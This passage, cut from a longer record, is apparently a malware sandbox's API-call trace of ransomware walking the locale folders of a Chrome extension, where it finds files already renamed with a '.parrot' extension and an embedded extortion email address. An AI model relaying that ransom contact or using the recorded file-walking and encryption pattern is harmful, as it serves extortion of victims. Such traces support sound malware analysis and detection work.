ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.071] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.071] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.071] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.071] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.072] CloseHandle (hObject=0x274) returned 1 [0097.072] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.072] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb4537fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb4537fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.072] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb4537fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.072] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.073] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.073] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.073] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.073] CloseHandle (hObject=0x274) returned 1 [0097.074] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.074] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb4537fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb4537fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.074] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb4537fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.074] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.074] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.074] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.074] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.075] CloseHandle (hObject=0x274) returned 1 [0097.075] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.075] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb4537fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb4537fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.075] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb4537fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.075] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.075] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.076] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.076] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.076] CloseHandle (hObject=0x274) returned 1 [0097.076] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.077] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb455e100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb455e100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.077] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb455e100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.077] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.077] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.077] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.077] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.078] CloseHandle (hObject=0x274) returned 1 [0097.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.078] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb47995a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb47995a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.078] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb4727180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.078] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.078] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.078] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.079] CloseHandle (hObject=0x274) returned 1 [0097.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.080] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb480b9c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb480b9c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.080] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb47995a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.080] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.080] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.080] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.081] CloseHandle (hObject=0x274) returned 1 [0097.081] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.081] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb4857c80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb4857c80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.081] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb4857c80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.081] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.081] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.082] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.082] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.083] CloseHandle (hObject=0x274) returned 1 [0097.083] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.083] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb487dde0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb487dde0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.083] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb487dde0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.083] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.083] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.083] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.083] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.084] CloseHandle (hObject=0x274) returned 1 [0097.084] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.084] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb487dde0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb487dde0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.084] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb487dde0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.084] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.084] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.085] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.085] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.085] CloseHandle (hObject=0x274) returned 1 [0097.086] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.086] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb487dde0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb487dde0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.086] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb487dde0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.086] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.086] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.086] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.086] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.087] CloseHandle (hObject=0x274) returned 1 [0097.087] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.087] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.087] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.087] SetFilePointerEx 